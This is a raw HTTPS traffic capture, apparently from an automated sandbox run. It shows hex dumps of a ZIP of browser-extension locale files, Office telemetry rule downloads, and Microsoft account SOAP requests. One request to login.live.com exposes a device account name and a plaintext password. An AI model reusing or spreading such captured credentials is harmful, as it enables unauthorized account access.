2024-10-27 16:54:33 UTC	1378	IN	Data Raw: bd 21 33 d5 4d 7a 30 92 e6 a0 73 01 69 4f 6c e7 64 e7 06 c4 1f cd ca 43 29 99 d5 a9 e4 d2 27 1d 24 47 c6 70 b9 db 83 b8 ff e3 7b 43 fd 1c bd 60 8e 2a b8 9e 3b 74 be 19 0c 65 10 ff b7 71 9b 03 75 c2 bc 05 66 42 30 d4 bd 44 4c 1f e0 98 f8 e0 5e 51 d6 09 16 ee 62 8a 41 64 da 7a 3d 5a 33 a2 f1 1d 19 2a c9 80 f3 07 8d 29 4d f6 90 9d 6a f4 d8 56 61 85 9f 3a ce 4e 59 a7 6e a9 e5 ea 31 ff db f8 7b 43 fb aa 2b b5 c2 4c a8 10 57 3e 9d 12 73 e0 51 5f ef a3 40 64 48 ab 09 6b 6a 14 35 a1 2f 83 cb 26 d1 e4 cb 9d b8 cb 6e d2 3d 1d 90 fa 7e 9d 1e 6b cc d2 f8 7b 2e c6 37 f3 df 63 e9 ba ef fe 7d de f2 f4 a7 e7 2c 7f fb ee 20 7d 36 a6 a6 6a 7f 3b 2b 59 eb 18 b5 6f b9 8e 0b c1 c7 7b c1 1d 95 99 f6 ad e8 d4 b5 e8 6c ed 3f a7 af c2 af 3f 73 bf 3d ff ef 77 2d 1d cf 3d 1a be 73 Data Ascii: !3Mz0siOldC)'$Gp{C`;tequfB0DL^QbAdz=Z3)MjVa:NYn1{C+LW>sQ_@dHkj5/&n=~k{.7c}, }6j;+Yo{l??s=w-=s
2024-10-27 16:54:33 UTC	1378	IN	Data Raw: 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 76 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 50 03 fc 66 0a 00 20 00 00 00 00 00 01 00 18 00 00 08 b1 f4 0b 14 db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 3d 6f dc 30 0c dd fb 2b 08 cf 46 70 fd 1c b2 05 08 d0 a1 45 53 a4 59 02 64 61 4e b4 23 48 a6 04 8a 72 72 08 f2 df 4b 9d 7d 08 ce e8 d0 45 03 45 be f7 f8 1e 5f bb bd 10 2a 31 3d 77 97 af dd 44 a5 e0 48 dd 65 f7 e7 c7 d5 ef 2b f8 75 7f 77 d7 bd f5 1d bd e4 88 8c ea 13 a7 61 88 9e c9 f9 82 8f 91 dc f9 d4 75 85 87 ba db d1 17 81 b5 ef 02 6e 26 70 15 66 1f 23 20 cf cb 37 3b 84 ef 29 8d 91 e0 3a 85 3a 11 2b 54 45 06 cf 4a c2 a4 35 e7 90 72 36 84 b1 3f 42 0e df 72 66 b4 ff a2 0b 44 8c 6c Data Ascii: !-_locales/sv/messages.jsonUTPf R=o0+FpESYdaN#HrrK}EE_*1=wDHe+uwaun&pf# 7;)::+TEJ5r6?BrfDl
2024-10-27 16:54:33 UTC	1378	IN	Data Raw: 4c 28 b9 28 68 15 81 3d 3a d0 47 7f 87 f5 aa c5 a0 2c 48 96 b4 9f 93 24 bf 74 ca 3b a4 a0 f9 6a e6 a1 cc 40 81 91 19 30 5d a1 39 7e 39 01 48 39 a0 4f 22 d8 2a e1 e0 08 be e7 cf 6d 6c b8 0b be c9 03 07 28 7d 6a dc e2 3f 42 98 78 2d d6 a1 b1 19 12 f8 68 b4 04 85 9d 97 35 1c 1b 0c 16 5f 55 b4 c5 fe ea 43 28 83 0e 40 08 bf 0d 79 16 7a c3 cf 26 b0 46 00 0e 4b 9e 50 f8 ed 3b 0e 8c 5d 3c 0b 64 ca 72 2e 90 41 1f b1 d4 e7 ed 22 33 dd 46 8d 4d 1a 99 c7 e4 99 3c 21 86 b1 e4 d2 54 27 cf df ef 91 4e 01 0d 30 81 96 55 96 37 4e 3d d0 01 5c b2 ca 55 80 04 ec aa e2 2a 73 90 6b ac 51 58 5b 6a 0a 34 8b b4 b7 4f b0 0d b9 c6 2c a1 85 38 3d c9 71 2f 07 ef 6d df 60 8f b9 82 8c 87 80 43 e8 d4 88 fe 62 9f b4 94 b9 d7 66 ac 7c 82 88 1d 51 d1 f9 61 37 fe 39 d8 0a 53 59 ae f5 66 32 Data Ascii: L((h=:G,H$t;j@0]9~9H9O"ml(}j?Bx-h5_UC(@yz&FKP;]<dr.A"3FM<!T'N0U7N=\UskQX[j4O,8=q/m`Cbf\|Qa79SYf2
2024-10-27 16:54:33 UTC	1378	IN	Data Raw: 5b 7b 7a c3 30 ec 7c ed 63 70 f3 2d c2 2b 61 1b 8f d7 00 1b e0 cd 2b ef 78 f7 a3 67 c0 39 32 a9 1f 80 6c 66 17 97 d6 80 80 69 32 ab bf c3 f0 d2 d1 02 c6 d1 d1 ca 7f 28 f3 d3 05 cf d7 e6 67 96 67 73 39 3b dd 9e 5f c5 2e 08 52 5b 60 e6 23 e4 24 80 17 de cf 8c 32 61 22 26 18 40 81 51 37 1a 3d e4 69 36 45 18 6c 38 96 b1 f8 bc 04 25 63 8c 69 6f 0b 8e 93 22 11 da 2b e2 2e dd 3c 66 df 7d 3c c4 05 36 71 e2 c9 b8 a6 7e 66 b3 9b 73 21 3a a7 95 67 38 d4 83 89 c3 d7 91 64 de c5 5b 01 f5 ff a5 13 58 78 d8 a8 54 25 22 24 d8 16 40 cd 81 70 5e c5 3b d8 dd 55 72 b8 9e d6 48 15 06 41 57 68 5b e8 27 30 b1 82 0f e8 09 d8 f8 24 0d ae 73 05 91 20 6f 32 84 0d f0 82 95 ca 25 80 50 f5 46 fa 49 1e 46 5e 38 4e d2 28 ef db ce 9f 18 54 a7 c3 53 4b c7 26 a2 ba e4 21 00 dd 3a a8 e3 88 Data Ascii: [{z0\|cp-+a+xg92lfi2(ggs9;_.R[`#$2a"&@Q7=i6El8%cio"+.<f}<6q~fs!:g8d[XxT%"$@p^;UrHAWh['0$s o2%PFIF^8N(TSK&!:
2024-10-27 16:54:33 UTC	1378	IN	Data Raw: a8 15 a1 54 1e 5a 8d 72 3d e2 47 40 31 01 b6 e2 e3 20 ba 53 87 b9 64 39 96 a9 1f 50 8d c3 df 89 4f 3c 44 83 14 ce e2 33 f3 a3 46 d1 e2 45 58 a7 2c f7 48 0a 04 81 50 14 d0 11 86 4d 66 e7 ff be d5 aa ce 18 47 ec d9 2c f8 22 13 e5 35 27 b7 b0 97 2a bf 2c 0b d7 07 48 d7 30 c9 86 93 1f b0 17 3e b8 b1 bc a7 01 17 51 9c 66 55 50 9a b0 bb 80 25 f5 6f 33 e1 cf d4 9d 1c 93 ba 54 72 a7 e2 f6 75 97 90 fe 6f d2 46 10 67 11 75 4c 7e d0 94 af e3 4d 5d b4 38 17 ad 83 c4 09 26 df 24 fb 10 6d 5d e5 56 f8 11 0d 2d bb f3 2c 35 9d 43 aa d3 dc cc 21 ae 95 db 49 63 90 e8 bb b5 a2 31 68 28 4f c1 46 84 c4 ae 85 65 77 6e 1d 5c 72 28 c5 cb d9 9f 0c 82 36 6a 85 c3 0c cb 86 67 50 98 fd a8 5e 6f c5 03 8b 54 f3 c2 30 f0 94 72 6d 96 45 e2 75 68 b3 3c 02 83 6b 79 2f ae 25 09 87 d3 41 99 Data Ascii: TZr=G@1 Sd9PO<D3FEX,HPMfG,"5'*,H0>QfUP%o3TruoFguL~M]8&$m]V-,5C!Ic1h(OFewn\r(6jgP^oT0rmEuh<ky/%A
2024-10-27 16:54:33 UTC	1378	IN	Data Raw: 02 18 e4 0f c3 f4 76 5f 5c be dd ce 6f 88 69 ac e4 50 fa ee 07 ab c8 a0 8b 52 e9 bb 55 6b fa 9f c6 22 3c 29 b7 da 31 d5 9e ae 5a b0 94 e9 7c 5c e7 66 a1 94 56 e8 81 c0 57 d2 a5 5b 41 6a 0e 92 60 dd 9b c4 c3 77 12 c5 dc 29 96 c5 76 0c 56 10 bf 85 d3 7f df 78 05 8d e2 78 fc 2e d0 e2 68 c5 5e ba e2 78 a2 f7 ae 74 a2 c9 5d 23 c5 a1 dd 77 87 05 87 09 52 cb 31 68 27 3d 4b 9d 65 b2 de 77 fd b1 ff 96 4d 3f 5e 60 b9 1e 38 a4 9e c8 b0 ea d5 db 24 51 55 05 52 b6 f2 27 f0 e4 fd 6c 75 91 a7 7f 43 1e 77 ee c0 54 0b 56 cd 31 4f 5e ee ea 9b de 9a b3 38 11 b7 da d9 f9 e5 0f 50 4b 07 08 fd 45 55 f9 17 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6d 6e 2f 6d 65 73 73 61 67 65 73 2e Data Ascii: v_\oiPRUk"<)1Z\|\fVW[Aj`w)vVxx.h^xt]#wR1h'=KewM?^`8$QUR'luCwTV1O^8PKEUPK!-_locales/mn/messages.

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.5	49842	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:33 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:33 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:33 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 6c7ab4fb-501e-0078-78bf-2706cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165433Z-r197bdfb6b4qbfppwgs4nqza8000000002dg000000006669 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:33 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.5	49843	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:33 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:33 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:33 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: f9fbd553-601e-003e-5c2e-273248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165433Z-16849878b78p8hrf1se7fucxk800000004r0000000006xp1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:33 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.5	49847	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:33 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:33 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:33 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 23333e9c-201e-003f-1e18-266d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165433Z-17c5cb586f6g6g2sbe6edp75y400000005u0000000007qqe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:33 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.5	49846	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:33 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:33 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:33 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 4e85c478-401e-002a-713d-26c62e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165433Z-r197bdfb6b4g24ztpxkw4umce800000005b00000000068dw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:33 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.5	49849	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:33 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:33 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:33 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: af2b1dc9-001e-0066-0d6c-27561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165433Z-16849878b78fssff8btnns3b14000000040000000000gfyf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:33 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.5	49840	20.190.159.2	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:33 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-10-27 16:54:33 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-10-27 16:54:33 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Sun, 27 Oct 2024 16:53:33 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_BL2 x-ms-request-id: 68c1ea44-f1ae-4198-bb3b-1cbf59c75198 PPServer: PPV: 30 H: BL02EPF0001D969 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Sun, 27 Oct 2024 16:54:32 GMT Connection: close Content-Length: 1276
2024-10-27 16:54:33 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.5	49844	20.190.159.2	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:33 UTC	446	OUT	POST /ppsecure/deviceaddcredential.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 7642 Host: login.live.com
2024-10-27 16:54:33 UTC	7642	OUT	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 71 75 65 73 74 3e 3c 43 6c 69 65 6e 74 49 6e 66 6f 20 6e 61 6d 65 3d 22 49 44 43 52 4c 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3e 3c 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 32 34 3c 2f 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 3c 2f 43 6c 69 65 6e 74 49 6e 66 6f 3e 3c 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 79 6e 7a 6f 79 75 6f 62 6d 64 6f 67 79 6b 3c 2f 4d 65 6d 62 65 72 6e 61 6d 65 3e 3c 50 61 73 73 77 6f 72 64 3e 71 66 44 6f 69 70 48 35 6b 71 6c 2c 56 79 2b 55 2c 2b 2f 3f 3c 2f 50 61 73 73 77 6f 72 64 3e 3c 2f 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4f 6c 64 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 76 6e 71 75 73 6b 66 70 70 70 63 69 76 63 3c 2f 4f 6c 64 4d Data Ascii: <DeviceAddRequest><ClientInfo name="IDCRL" version="1.0"><BinaryVersion>24</BinaryVersion></ClientInfo><Authentication><Membername>02ynzoyuobmdogyk</Membername><Password>qfDoipH5kql,Vy+U,+/?</Password></Authentication><OldMembername>02vnquskfpppcivc</OldM
2024-10-27 16:54:40 UTC	542	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: text/xml Expires: Sun, 27 Oct 2024 16:53:33 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C542_BAY x-ms-request-id: 36af0af2-ee34-4f61-8d6b-bb16bcde3f6a PPServer: PPV: 30 H: PH1PEPF0001B7C7 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Sun, 27 Oct 2024 16:54:39 GMT Connection: close Content-Length: 17166
2024-10-27 16:54:40 UTC	15842	IN	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 73 70 6f 6e 73 65 20 53 75 63 63 65 73 73 3d 22 74 72 75 65 22 3e 3c 73 75 63 63 65 73 73 3e 74 72 75 65 3c 2f 73 75 63 63 65 73 73 3e 3c 70 75 69 64 3e 30 30 31 38 38 30 31 30 46 31 43 39 32 36 31 37 3c 2f 70 75 69 64 3e 3c 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 33 3c 2f 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 3c 4c 69 63 65 6e 73 65 20 43 6f 6e 74 65 6e 74 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 2d 38 63 63 35 2d 62 32 66 35 33 63 38 33 30 62 37 36 22 20 49 44 3d 22 39 63 66 61 37 66 64 66 2d 65 65 33 36 2d 34 31 61 35 2d 39 64 66 32 2d 38 39 61 64 61 34 64 63 31 31 62 32 22 20 4c 69 63 65 6e 73 65 49 